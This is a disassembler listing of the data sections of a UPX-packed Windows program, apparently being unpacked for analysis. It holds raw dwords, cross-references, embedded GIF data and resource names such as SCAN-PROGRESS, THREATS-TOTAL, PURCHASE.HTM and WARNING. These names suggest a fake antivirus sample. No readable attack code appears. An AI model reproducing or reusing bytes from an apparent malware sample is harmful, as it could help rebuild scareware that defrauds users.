dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh
dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
dd 52028A20h, 7525C460h, 0
dword_42E1C0 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
; DATA XREF: sub_41A833+37Co
; sub_41AF2B+1BAo
dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h
dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h
dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah
dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh
dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh
dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h
dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h
dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h
dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h
dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h
dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h
dd 4C8D2CEh, 0AD8A6DDh, 0
dd 80000000h, 4410h, 1, 80000000h, 3000h
dword_42E334 dd 1 ; sub_41BE5A+4Cw
align 10h
dword_42E340 dd 0 dword_42E344 dd 0 ; sub_40A7A4+3Fw ...
dword_42E348 dd 0 ; sub_40A7A4+53r ...
dword_42E34C dd 0 ; UPX0:loc_41C8ADo
dword_42E350 dd 0 ; sub_404725+4Dr ...
dword_42E354 dd 0 dd 0Ch dup(0)
dword_42E388 dd 0 ; UPX0:loc_41C8B7o
dword_42E38C dd 6 dup(0) ; sub_404725+Bo ...
dword_42E3A4 dd 0 ; sub_401441+36w ...
dword_42E3A8 dd 3 dup(0) ; sub_404725+179o ...
dword_42E3B4 dd 2 dup(0) ; UPX0:loc_41C8C1o
dword_42E3BC dd 0 dword_42E3C0 dd 0 dd 6 dup(0)
dword_42E3DC dd 0FB2B8ADBh ; sub_40B255+5r
dword_42E3E0 dd 0 ; UPX0:loc_41C8CBw ...
dd 2 dup(0)
dword_42E3EC dd 0 ; sub_40B45F+34w
dword_42E3F0 dd 0 ; sub_40F5C7+Fr ...
align 8
dword_42E3F8 dd 0 ; sub_413B22+19r ...
align 10h
dword_42E400 dd 0 ; UPX0:off_41D5ACo
dword_42E404 dd 0 dd 0
dword_42E40C dd 0 dd 10h dup(0)
dword_42E450 dd 0 ; sub_40C52F+E1r
align 8
dword_42E458 dd 0 ; UPX0:0041D5B0o
dd 22h dup(0)
word_42E4E4 dw 0 ; DATA XREF: sub_40C52F+51w
align 4
word_42E4E8 dw 0 ; DATA XREF: sub_40C52F+4Aw
align 4
word_42E4EC dw 0 ; DATA XREF: sub_40C52F+43w
align 10h
word_42E4F0 dw 0 ; DATA XREF: sub_40C52F+3Cw
align 4
dword_42E4F4 dd 0 dword_42E4F8 dd 0 dword_42E4FC dd 0 dword_42E500 dd 0 dword_42E504 dd 0 dword_42E508 dd 0 dword_42E50C dd 0 dword_42E510 dd 0 ; sub_40C52F+87r
word_42E514 dw 0 ; DATA XREF: sub_40C52F+35w
align 4
dword_42E518 dd 0 dword_42E51C dd 0 word_42E520 dw 0 ; DATA XREF: sub_40C52F+2Ew
align 4
dd 80h dup(0)
dword_42E724 dd 950000h ; sub_40AEA5:loc_40AEBFr ...
dword_42E728 dd 148808h, 0FFFFFFFFh, 3 dup(0) ; UPX0:off_42A1B8o
dd 0FA0h
dword_42E740 dd 148830h, 0FFFFFFFFh, 3 dup(0) dd 0FA0h
dword_42E758 dd 148858h, 0FFFFFFFFh, 3 dup(0) dd 0FA0h, 148880h, 0FFFFFFFFh, 3 dup(0)
dd 0FA0h
dword_42E788 dd 1488A8h, 0FFFFFFFFh, 3 dup(0) dd 0FA0h, 1488D0h, 0FFFFFFFFh, 3 dup(0)
dd 0FA0h, 1488F8h, 0
dd 1, 6B8h, 0
dd 0FA0h
dword_42E7D0 dd 148920h, 0FFFFFFFFh, 3 dup(0) dd 0FA0h
dword_42E7E8 dd 148948h, 0FFFFFFFFh, 3 dup(0) dd 0FA0h, 148970h, 0FFFFFFFFh, 3 dup(0)
dd 0FA0h, 148998h, 0FFFFFFFFh, 3 dup(0)
dd 0FA0h
dword_42E830 dd 1489C0h, 0FFFFFFFFh, 3 dup(0) dd 0FA0h, 1489E8h, 0FFFFFFFFh, 3 dup(0)
dd 0FA0h, 148A10h, 0FFFFFFFFh, 3 dup(0)
dd 0FA0h
dword_42E878 dd 0 ; sub_40D00C+251r ...
align 10h
dword_42E880 dd 1 dword_42E884 dd 952ED0h dd 0
dword_42E88C dd 952EF0h ; sub_40F5C7:loc_40F68Er ...
dword_42E890 dd 0 dword_42E894 dd 0 ; sub_416374+Cr ...
dd 0
off_42E89C dd offset aCM_unpackerPac ; DATA XREF: sub_40F83F+37w
; "C:\\m_unpacker\\packed.exe"
dd 0
byte_42E8A4 db 0 ; DATA XREF: sub_40DC14+30w
; sub_4119CD+5r
align 4
dword_42E8A8 dd 0 dword_42E8AC dd 0 ; sub_40DC14+FEw
dword_42E8B0 dd 6 dup(0) db 0
byte_42E8C9 db 3 dup(0) ; DATA XREF: sub_40DDD8+94o
dd 40h dup(0)
db 0
byte_42E9CD db 0 ; DATA XREF: sub_40DDD8+9Cw
align 10h
dd 7Dh dup(0)
dword_42EBC4 dd 0FB2B8ADBh ; sub_40DFBC+8w ...
dword_42EBC8 dd 0 ; sub_40B8A1+158r ...
dword_42EBCC dd 0FB6B6AF0h ; sub_40E0AF+Bw
dword_42EBD0 dd 0FB6B6B6Eh ; sub_40E4D8+5Ar ...
dword_42EBD4 dd 87AB1D9Bh ; sub_40E4D8+46w ...
dword_42EBD8 dd 87AB111Eh ; sub_40E4D8+53w ...
dword_42EBDC dd 87AABC0Ch ; sub_40E4D8+67w ...
dword_42EBE0 dd 0 dword_42EBE4 dd 0 dword_42EBE8 dd 0 ; sub_40EF2A+2Dr ...
align 10h
aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_40F83F+1Fo
; UPX0:off_42E89Co
align 4
dd 3Ah dup(0)
byte_42ECF4 db 0 ; DATA XREF: sub_40F83F+26w
align 4
dword_42ECF8 dd 1 ; sub_40F8FA+26w ...
dword_42ECFC dd 0 dword_42ED00 dd 0 ; sub_411DC7+1Fw ...
word_42ED04 dw 0 ; DATA XREF: sub_412028+E7w
align 10h
dword_42ED10 dd 4E4h dword_42ED14 dd 0 dword_42ED18 dd 0 dword_42ED1C dd 0 ; sub_415847+5r ...
dd 8 dup(0)
dword_42ED40 dd 0 dword_42ED44 dd 0FB2B8ADBh dword_42ED48 dd 0FB2B8ADBh ; sub_4136C2:loc_41370Bo ...
dword_42ED4C dd 0FB2B8ADBh ; sub_4136C2:loc_413761o ...
dword_42ED50 dd 0FB2B8ADBh ; sub_4136B5r ...
dword_42ED54 dd 0FB2B8ADBh ; sub_4136C2:loc_41376Do ...
dd 0
dword_42ED5C dd 0FB2B8ADBh dd 2 dup(0)
dword_42ED68 dd 0FB2B8ADBh dword_42ED6C dd 0 ; resolved to->USER32.MessageBoxA ; sub_413890+5Cw ...
dword_42ED70 dd 0 ; resolved to->USER32.MessageBoxA ; sub_413890:loc_413999r
dword_42ED74 dd 0 ; resolved to->USER32.MessageBoxA ; sub_413890+126r
dword_42ED78 dd 0 ; resolved to->USER32.GetProcessWindowStation ; sub_413890:loc_413941r
dword_42ED7C dd 0 ; resolved to->USER32.MessageBoxA ; sub_413890+BAr ...
dd 0Fh dup(0)
dword_42EDBC dd 1 ; sub_414C04+3Cw ...
dword_42EDC0 dd 1 ; sub_414FEE+39w ...
dword_42EDC4 dd 31h dup(0) ; UPX0:off_42AE08o ...
dword_42EE88 dd 0 ; sub_41676F+43w ...
byte_42EE8C db 0 ; DATA XREF: sub_40AA1C+18w
; sub_40AA42+96w ...
align 10h
dword_42EE90 dd 0 ; sub_401BB2+161r ...
dword_42EE94 dd 4 dup(0) ; sub_417692+22o ...
dword_42EEA4 dd 0 dword_42EEA8 dd 0 ; sub_404725+33w ...
dword_42EEAC dd 0 ; sub_404725+3Dw ...
dword_42EEB0 dd 80h dup(0) byte_42F0B0 db 0 ; DATA XREF: sub_417588+11r
; sub_417588+B4w ...
align 4
dword_42F0B4 dd 0 ; UPX0:0041C815w ...
dword_42F0B8 dd 0 dd 2 dup(0)
dword_42F0C4 dd 7 dup(0) dword_42F0E0 dd 0 dword_42F0E4 dd 0 ; sub_416FB1+5r ...
dword_42F0E8 dd 0 ; sub_407ACF:loc_407B30r
word_42F0EC dw 0 ; DATA XREF: sub_407ACF+13w
; sub_407ACF:loc_407B4Fr
align 10h
dword_42F0F0 dd 0 word_42F0F4 dw 0 ; DATA XREF: sub_407ACF+20w
align 4
dword_42F0F8 dd 0 word_42F0FC dw 0 ; DATA XREF: sub_407ACF+29w
align 10h
dword_42F100 dd 0 word_42F104 dw 0 ; DATA XREF: sub_407ACF+58w
align 4
dword_42F108 dd 0 dword_42F10C dd 9 dup(0) dword_42F130 dd 0 byte_42F134 db 0 ; DATA XREF: sub_418F1D:loc_41905Br
align 4
dword_42F138 dd 953508h ; sub_41191C+42w ...
align 10h
dword_42F140 dd 400h dup(0) ; UPX0:0042A458o
dword_430140 dd 200h ; sub_41191C:loc_411936w ...
dword_430144 dd 1 ; sub_40CA30+28r ...
dword_430148 dd 20h ; sub_40FA31+CDw ...
dd 5 dup(0)
dword_430160 dd 9520B0h ; sub_40FA31+37w ...
dd 3Fh dup(0)
dword_430260 dd 0 dword_430264 dd 1 ; sub_415A57+5r
dword_430268 dd 0FBBEBE5Bh ; sub_40B649+A8w ...
dword_43026C dd 0FBBEBE5Bh ; sub_40B649+8Fw ...
dword_430270 dd 1 dword_430274 dd 0 ; sub_40DB8F+66o ...
dword_430278 dd 0 ; sub_40D00C+2BCr ...
dword_43027C dd 0 ; sub_40D00C+2CAr ...
dword_430280 dd 0 ; sub_40B8A1+6Cr ...
dword_430284 dd 0 ; sub_40D7BB:loc_40D801r ...
dword_430288 dd 0 ; sub_40D322:loc_40D357w
dword_43028C dd 0 ; sub_40D00C+24Br ...
dword_430290 dd 1 ; sub_40AEA5:loc_40AEE0r ...
dword_430294 dd 142340h ; sub_40F568:loc_40F57Br ...
align 1000h
UPX0 ends
; Section 2. (virtual address 00031000)
; Virtual size : 00040000 ( 262144.)
; Section size in file : 00040000 ( 262144.)
; Offset to raw data for section: 00031000
; Flags E0000040: Data Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
UPX1 segment para public 'CODE' use32
assume cs:UPX1
;org 431000h
assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing
dword_431000 dd 268h dup(0) dd offset sub_410015+1
aCtivateButtonB:
unicode 0, <CTIVATE-BUTTON-BG.GIF>
dd offset loc_41000E
dd offset dword_45004C
dw 52h
aTIcon_gif:
unicode 0, <T-ICON.GIF>
dd offset locret_410014
dd offset dword_45004C
aRtIconSmall_gi:
unicode 0, <RT-ICON-SMALL.GIF>
dw 9
unicode 0, <ARROW.GIF>
dd offset dword_42F140+0ED0h
dw 4Ch
aOseButton_gif:
unicode 0, <OSE-BUTTON.GIF>
dd offset dword_42F140+0ED5h
aOntentHeaderBg:
unicode 0, <ONTENT-HEADER-BG.GIF>
dd offset dword_42F140+0ED2h
aOntentHeader_g:
unicode 0, <ONTENT-HEADER.GIF>
dd offset dword_42F140+0ED9h
dw 4Fh
aNtentLeftcolum:
unicode 0, <NTENT-LEFTCOLUMN-BG.GIF>
dd offset dword_42F140+0EDAh
dw 4Fh
aNtentRigthcolu:
unicode 0, <NTENT-RIGTHCOLUMN-BG.GIF>
dd offset dword_42F140+0ED3h
aUrrentstateBg_:
unicode 0, <URRENTSTATE-BG.GIF>
dd offset byte_440011
aOwnloadIcon_jp:
unicode 0, <OWNLOAD-ICON.JPG>
dw 0Dh
unicode 0, <FOOTER-BG.GIF>
dw 0Dh
unicode 0, <HEADER-BG.GIF>
dd 48000Fh, 410045h, 450044h, 2D0052h, 430049h, 4E004Fh
dd 47002Eh, 460049h, 4C000Dh, 47004Fh, 2D004Fh, 430049h
dd 4E004Fh, 47002Eh, 460049h, 4D000Bh, 4E0045h, 2D0055h
dd 470042h, 47002Eh, 460049h, 4D0014h, 4E0045h, 2D0055h
dd 470042h, 53002Dh, 4C0045h, 430045h, 450054h, 2E0044h
dd 490047h, 90046h, 4F0050h, 4E0049h, 2E0054h, 490047h
dd 130046h, 450052h, 55005Ah, 54004Ch, 54002Dh, 420041h
dd 45004Ch, 42002Dh, 2E0047h, 490047h, 180046h, 450052h
dd 55005Ah, 54004Ch, 54002Dh, 420041h, 45004Ch, 48002Dh
dd 410045h, 2D0044h, 470042h, 47002Eh, 460049h, 53001Bh
dd 410043h, 45004Eh, 2D0052h, 430041h, 490054h, 4E004Fh
dd 42002Dh, 540055h, 4F0054h, 2D004Eh, 470042h, 47002Eh
dd 460049h, 530010h, 410043h, 2D004Eh, 410050h, 480054h
dd 42002Dh, 2E0047h, 490047h, 120046h, 430053h, 4E0041h
dd 50002Dh, 540041h, 2D0048h, 430049h, 4E004Fh, 47002Eh
dd 460049h, 530016h, 410043h, 2D004Eh, 410050h, 480054h
dd 54002Dh, 54004Fh, 4C0041h, 42002Dh, 2E0047h, 490047h
dd 160046h, 430053h, 4E0041h, 50002Dh, 4F0052h, 520047h
dd 530045h, 2D0053h, 430049h, 4E004Fh, 47002Eh, 460049h
dd 53001Ah, 410043h, 2D004Eh, 520050h, 47004Fh, 450052h
dd 530053h, 53002Dh, 410043h, 45004Ch, 42002Dh, 2E0047h
dd 490047h, 200046h, 430053h, 4E0041h, 50002Dh, 4F0052h
dd 520047h, 530045h, 2D0053h, 430053h, 4C0041h, 2D0045h
dd 470042h, 47002Dh, 450052h, 4E0045h, 50002Eh, 47004Eh
dd 54000Ch, 420041h, 2D0031h, 490050h, 2E0043h, 490047h
dd 0C0046h, 410054h, 320042h, 50002Dh, 430049h, 47002Eh
dd 460049h, 54000Ch, 420041h, 2D0033h, 490050h, 2E0043h
dd 490047h, 0C0046h, 410054h, 340042h, 50002Dh, 430049h
dd 47002Eh, 460049h, 54000Ch, 420041h, 2D0035h, 490050h
dd 2E0043h, 490047h, 0F0046h, 500055h, 2D0044h, 410042h
dd 450053h, 42002Dh, 2E0047h, 490047h, 140046h, 490056h
dd 550052h, 490053h, 46004Eh, 2D004Fh, 430041h, 490054h
dd 450056h, 47002Eh, 460049h, 560010h, 520045h, 490053h
dd 4E004Fh, 49002Dh, 4F0043h, 2E004Eh, 4E0050h, 140047h
dd 480054h, 450052h, 540041h, 2D0053h, 4F0054h, 410054h
dd 2D004Ch, 470042h, 47002Eh, 460049h, 50000Bh, 4F0052h
dd 450054h, 540043h, 47002Eh, 460049h, 50000Ch, 520055h
dd 480043h, 530041h, 2E0045h, 490047h, 130046h, 550050h
dd 430052h, 410048h, 450053h, 41002Dh, 540043h, 560049h
dd 2E0045h, 490047h, 0F0046h, 550053h, 450052h, 41002Dh
dd 540043h, 560049h, 2E0045h, 490047h, 0B0046h, 410057h
dd 4E0052h, 4E0049h, 2E0047h, 490047h, 120046h, 410057h
dd 4E0052h, 4E0049h, 2D0047h, 430041h, 490054h, 450056h
dd 47002Eh, 460049h, 42000Ch, 470049h, 4C0041h, 520045h
dd 2E0054h, 490047h, 0C0046h, 45004Eh, 410054h, 45004Ch
dd 540052h, 47002Eh, 460049h, 53000Eh, 41004Dh, 4C004Ch
dd 4C0041h, 520045h, 2E0054h, 490047h, 0C0046h, 45004Eh
dd 410054h, 45004Ch, 540052h, 48002Eh, 4D0054h, 410009h
dd 45004Ch, 540052h, 48002Eh, 4D0054h, 48000Ch, 4D0054h
dd 4D004Ch, 490041h, 2E004Eh, 540048h, 0C004Dh, 550050h
dd 430052h, 410048h, 450053h, 48002Eh, 4D0054h, 4A0002h
dd 0E0053h, 540048h, 4C004Dh, 4F0043h, 54004Eh, 4F0052h
dd 2E004Ch, 53004Ah, 3 dup(0)
dd 38464947h, 0BE6139h, 0F1E7001Ch, 885B00h, 5C0E885Ah
dd 895B0089h, 18A5D10h, 5D038B5Eh, 8D5F138Ch, 68E6004h
dd 62098F61h, 90610B90h, 0D916319h, 62009265h, 93671A91h
dd 1B926300h, 68109365h, 93640094h, 195691Ch, 6A129467h
dd 95680396h, 1F956613h, 6B159669h, 976A0697h, 8986C16h
dd 6E219769h, 986B2296h, 19996C18h, 6D0C9A6Eh, 986F1B9Ah
dd 1C9B6E2Dh, 6F2E9970h, 9D711D9Ch, 149E7212h, 73299C75h
dd 9C74159Fh, 2A9D7631h, 762B9E77h, 9F78339Eh, 349F772Ch
dd 793B9F75h, 0A17B2DA0h, 2EA17A25h, 7C3DA177h, 0A07D26A2h
dd 3EA2783Dh, 7E27A37Dh, 0A47F3EA1h, 46A27E29h, 8039A47Ch
dd 0A57D2AA5h, 2BA6813Ah, 8142A583h, 0A68449A5h, 3DA78643h
dd 8744A785h, 0A9883EA8h, 4CA9843Fh, 853FAB82h, 0AB894DAAh
dd 47AB8840h, 854EAB86h, 0AC8A55ABh, 48AC8941h, 864FAC87h
dd 0AD8B56ACh, 44AE8C42h, 8F4AAE8Bh, 0AF8A3DAFh, 3EB09052h
dd 8C4CB08Dh, 0B18E53B0h, 62B1904Dh, 8F4FB390h, 0B29556B3h
dd 5DB29356h, 9263B291h, 0B59264B3h, 5FB49552h, 9753B694h
dd 0B79A61B6h, 62B7985Bh, 995BB994h, 0BB9863B8h, 64BA9A57h
dd 995EBA9Dh, 0B99F58BCh, 65BB9B6Bh, 0A06BBB9Ah, 0BC9E6CBAh
dd 66BC9C5Fh, 9F72BB9Fh, 0BBA260BDh, 67BD9E6Dh, 0A073BCA0h
dd 0BE9F61BEh, 74BDA168h, 0A262BFA1h, 0BEA075BEh, 63C0A27Ch
dd 0A56AC0A1h, 0C1A470BFh, 6BC1A264h, 0A771C0A6h, 0C1A372C1h
dd 7FC0A97Fh, 0AA73C2A8h, 0C4A78BBFh, 6EC4A567h, 0A980C1AAh
dd 0C0AB74C3h, 68C5A88Ch, 0AC81C2ABh, 0C4AA6FC4h, 69C6A975h
dd 0AA88C2B0h, 0C5AC7EC6h, 7FC7AB8Ah, 0B085C6AFh, 0C8AE73C8h
dd 6CCAAC79h, 0AD91C5B1h, 0C8B16DCBh, 7ACAB087h, 0B36ECCAEh
dd 0C9AD93C7h, 82CBAF93h, 0B783CAB6h, 0CEB18FC9h, 89CBB471h
dd 0B27DCDB3h, 0CCB572CFh, 78CEB68Ah, 0B991CBB9h, 0CEB786CEh
dd 74D0BA8Ch, 0B57AD0B8h, 0CFBA75D2h, 8DCFB887h, 0B799CEB9h
dd 0D3B682D1h, 8FD1BA76h, 0B77DD3BBh, 0D2BD77D5h, 96D2B98Ah
dd 0BD7ED4BCh, 0D5BD9DD1h, 99D3C17Fh, 0C287D7BDh, 0D4C09AD4h
dd 8ED6C2A0h, 0BE81D8C0h, 0D9C188D8h, 83DAC282h, 0C39DD7C5h
dd 0DAC7A3D8h, 8CDBC88Bh, 0CB92DBC6h, 0DCC9A5D8h, 0A6DBC68Dh
dd 0C9A0DBC9h, 0DFCA95DEh, 0A8DCCE96h, 0D09DDFC8h, 0DECC97DEh
dd 0A9DECAA3h, 0CF97E0CBh, 0E0D09EDFh, 9FE2CA9Fh, 0D3ABDFD2h
dd 0E3D0A1E2h, 0AFE2D5A7h, 0D7A9E5D3h, 0E6D4B1E4h, 0B2E6D8AAh
dd 0DBB9E5DDh, 0E7D7BFE5h, 0B3E7DAB9h, 0D9B4E8DBh, 0E9DCBBE9h
dd 0BCEADBB5h, 0DEBCE9E0h, 0EBDCC3E9h, 0C4EADFBDh, 0Bh dup(0FFFFFFFFh)
dd 4F921FFh, 0FF000A01h, 2C00h, 0BE0000h, 800001Ch, 9FF00FEh
dd 0A0B0481Ch, 130883C1h, 0B0C85C2Ah, 1087C3A1h, 789C4A23h
dd 77BC1CD0h, 43A5D6ECh, 0C79D2E87h, 8A43208Fh, 0A4B2491Ch
dd 532893C9h, 0B2C95CAAh, 0EB8EC8A5h, 6783BDD8h, 76B9A1CEh
dd 0DB79C2E9h, 34DB2D96h, 4DACD69Fh, 0A8B44A1Bh, 9348A3D1h
dd 0B4CA5D2Ah, 50A7D3A9h, 4A0D46A3h, 6F36E7B4h, 2BB5D2E1h
dd 0BA9DD0B7h, 3DA4DB71h, 0ACAC7643h, 0D368B3D9h, 0B6CB5DAAh
dd 70B7DBADh, 4B9DCAE3h, 66322E17h, 5385B8D2h, 39E14F07h
dd 0FD98DA72h, 0D6EBA5FAh, 0CB2592Dh, 0B8CC5E2Bh, 90C7E3B1h
dd 4C9E4B23h, 0CBE5B2B9h, 0BE271D98h, 0AFD7ABA5h, 9DC4D565h
dd 5BEE0853h, 62B96333h, 0AAA53AA9h, 0B0D7EBB5h, 4D9ECB63h
dd 0DBEDB6BBh, 0DEEB73B8h, 6B36DBCDh, 3582B958h, 614E06FBh
dd 6CC46BB7h, 89E50AB1h, 0D04F2713h, 4E9F4BA3h, 0EBF5BABDh
dd 0DF6BB3D8h, 0F7BBBDCEh, 0FE9DD7EFh, 0CAC50A7Bh, 0DD6BB116h
dd 0B68B5214h, 4A26952Bh, 822D1690h, 0FDBEBF44h, 0EBF3F8FBh
dd 0BFBFCFDFh, 600FFFFh, 0FB80E028h, 250907C9h, 4BB2A49Ah
dd 0E428D834h, 6CB3324Ch, 80200922h, 8507D1F4h, 0E1A86618h
dd 0E8761C86h, 862087E1h, 2488E228h, 87E26896h, 0C8C85216h
dd 324AE26h, 8CA428Dh, 8124CA53h, 1AC6E1B4h, 0E3A1B86Bh
dd 0E8F63C8Eh, 6408FE3h, 4490E429h, 91E46916h, 24192648h
dd 11B46E8Eh, 0A424C8h, 0C3428CA3h, 210982F0h, 0C651A46Dh
dd 0E9765C96h, 866097E5h, 6498E629h, 99E66996h, 26A9A668h
dd 41B4699Ah, 0CB82588h, 0B42F90A3h, 19C7B24Ch, 45916C5Dh
dd 0E9F45B16h, 6809FE7h, 84A0E82Ah, 0A1E86A16h, 0E8AA2688h
dd 0BA128CA2h, 9C5D16E7h, 0AF238781h, 2D50A2F8h, 86A214ABh
dd 0C1405517h, 84501304h, 0A4A8EA2Ah, 0A9EA6A96h, 0EAAAA6A8h
dd 0EAB6ACAAh, 0B0FEABEAh, 1429FAA2h, 86A17C55h, 0A2D4A820h
dd 0DC9F2B50h, 4C168641h, 10C43114h, 0EC6B1445h, 0AB26C8B1h
dd 36CCB2ECh, 0D0B3ECEBh, 0B4ED2B46h, 6C3B32D4h, 415C4C11h
dd 0B49F1DC6h, 992990A2h, 144601BCh, 43D0FC43h, 0ABA43F0Fh
dd 0B6ECBAEEh, 0F0BBEEEBh, 0BCEF2BC6h, 0EF6BD6F4h, 7BC2F8BDh
dd 44430FEEh, 991C45F1h, 2250A298h, 8401607Dh, 0A068210Ah
dd 370CC2F0h, 10C3F0ECh, 0C4F12C47h, 0F16C5714h, 7C6718C5h
dd 0F8280871h, 891B4560h, 1B486428h, 8270EC54h, 0ACA41206h
dd 0B72CCAF2h, 30CBF2ECh, 0CCF32CC7h, 0F36CD734h, 0ACDB38CDh
dd 503B09C1h, 8542B201h, 0D8541D0h, 0C0F06824h, 0AD2748D1h
dd 374CD2F4h, 50D3F4EDh, 0D4F52D47h, 356D5754h, 60901AD5h
dd 186D11C3h, 471C3402h, 54220D0h, 0A0280Ch, 0ADA76803h
dd 0B76CDAF6h, 70DBF6EDh, 0DCF72DC7h, 0F76DD774h, 0CD9B6FDDh
dd 2205FE40h, 1B0470CCh, 8242885h, 0F0C8471Bh, 140A0541h
dd 8CD98050h, 0E3F8EE37h, 0F92E4790h, 6E5794E4h, 6798E5F9h
dd 8AE4F9AEh, 7C1502Bh, 86C12432h, 0A1F90A20h, 7C2F1186h
dd 0ACE280C0h, 0EBFAEEB7h, 0FB2EC7B0h, 6ED7B4ECh, 0E7B8EDFBh
dd 0CEE7BAEh, 1102D07Ch, 10A1F868h, 0C114681Fh, 13890642h
dd 0CCEEC040h, 0F3FCEF37h, 0BB8F47D0h, 0C05F8AF2h, 0F06610C2h
dd 2BF17C31h, 1005060h, 0FE200800h, 6F97E4F8h, 0A7E8F9FEh
dd 0ECFAFEAFh, 0FBFEEFB7h, 3EBFC7F0h, 9063CB00h, 8661042h
dd 7723509Fh, 7830134h, 80180Eh, 1003h, 880F010h, 1702A04Ch
dd 3A06C0C8h, 8C1081F0h, 482704A0h, 10220AC1h, 0E0140600h
dd 1801600h, 0DE12817h, 2888508Dh, 2506211Ah, 1804A0C4h
dd 1D0A8070h, 0BA1580B0h, 8C3085F0h, 48670CA1h, 0F0DA1AC3h
dd 0A1CC3886h, 0C308770Eh, 8550B405h, 41181884h, 610940Ch
dd 21628844h, 1E448895h, 210520B8h, 370740F0h, 6E0D41C0h
dd 581A8370h, 0CC588AF1h, 0C8B716A2h, 0F17A2EC5h, 0A30C608Bh
dd 4648C718h, 8AD15232h, 0F01D037h, 2E04E084h, 9511A1E4h
dd 3A228868h, 1C4B8A31h, 0C87C0FE2h, 0A0EA1E43h, 0F1FA3EC7h
dd 0A40C808Fh, 0C8490720h, 90F21A42h, 22A44C88h, 3AC7E917h
dd 7F0F91F0h, 4625C438h, 504789D1h, 0CC9892E4h, 0C93726A4h
dd 242A4EC9h, 3B0020h, 0
dd 38464947h, 156139h, 0C6E70012h, 201D1C00h, 26252322h
dd 39372726h, 443A373Eh, 46574139h, 4A494947h, 544E4E4Fh
dd 5B5A5756h, 6071615Ch, 78616121h, 75696465h, 66653366h
dd 346F817Bh, 6F4A6F7Ah, 706E6F6Fh, 25728775h, 75767372h
dd 76767675h, 7A77777Ah, 957B7777h, 7A7B187Ah, 7F7B7B7Bh
dd 7F618183h, 8080837Fh, 60848584h, 84888484h, 889D8886h
dd 2B89A32Dh, 988C8888h, 8A8A3E8Ch, 398E9D8Dh, 9A469098h
dd 8D8C4390h, 358EAE90h, 93928F8Fh, 93929393h, 959596ABh
dd 951B98BDh, 0A0BDA298h, 0AF9E9D17h, 0DA17A2CBh, 9FD700A0h
dd 13A3D114h, 0B00DA1DBh, 0A9BF3DA9h, 3EA5C826h, 0DA0EA4DCh
dd 0A6A613A5h, 11A6DBADh, 0DE1EA6DBh, 0A7DB03A8h, 21A7DB1Eh
dd 0D213A9DCh, 0AADD15ACh, 0B2AAA811h, 0E103ACDDh, 0AEDF0CACh
dd 29AEDD12h, 0D50FB3DEh, 0B0E853AFh, 0B2B1B213h, 0E63AB7C7h
dd 0B4E10BB3h, 33BAC211h, 0E0B6B2B2h, 0BAC611B6h, 1BB7DF3Dh
dd 0DF38BCC6h, 0B5B314B9h, 3AB5E2BEh, 0B63BB5E2h, 0B6E6BAB6h
dd 18B9E532h, 0EB1EBAE0h, 0BBE009B9h, 0DBCE217h, 0E119BCDFh
dd 0B8E333B9h, 7BEE33Ch, 0E31DBDE1h, 0B8B911BEh, 36B9E8C9h
dd 0D611BFE1h, 0BEE43DBEh, 0BDBAB915h, 0CB3ABAE6h, 0C1E079BDh
dd 0A6BCC015h, 0CA18C1E0h, 0BCBC34C5h, 11C2EDC3h, 0C016C4E8h
dd 0C1E9B5C0h, 73BEDF34h, 0E70CC7E4h, 0BFD136C2h, 0A2C4C597h
dd 0E829C7E6h, 0C6E238C5h, 0BEC3C340h, 0E8D3C2C2h, 0C8CA3CC6h
dd 0A1C7D7B5h, 0EE69CFD1h, 0CAEA34CCh, 0CEC8C855h, 0CFDAC8C6h
dd 0CBD4B0CAh, 62CEDE9Ch, 0E121CFF1h, 0C9D58DC9h, 0BECBCEB1h
dd 0E124D3EAh, 0CEE196CCh, 28D4EE89h, 0E1DBCDCBh, 0D5F293CEh
dd 16DBE423h, 0DB98CEE4h, 0CFCE62D7h, 0CBCFD3D8h, 0F395D0E3h
dd 0D8EA1FD8h, 10DFE73Fh, 0E69CD2E7h, 0DCED98D3h, 0C7D4DB2Ch
dd 0EAA0D5EBh, 0DADC9CD6h, 0A1D7EBA5h, 0DD9AD7EEh, 0D9EDBDDAh
dd 0A4D8EF9Fh, 0ED32E2F6h, 0DCDC52E2h, 26E6F7D3h, 0EF8CE1E8h
dd 0DCF341E7h, 3CE5F9A3h, 0E89FE1E5h, 0DFF488E4h, 0A3DFF5A3h
dd 0F625EBF9h, 0F0F67EE4h, 0C5E3E91Ch, 0F450ECF3h, 0E9F535EFh
dd 5FAFFBCh, 0FF88F1FBh, 2Bh dup(0FFFFFFFFh), 4F921FFh
dd 0FF000A01h, 2C00h, 150000h, 8000012h, 9FF00FEh, 0CBD0381Ch
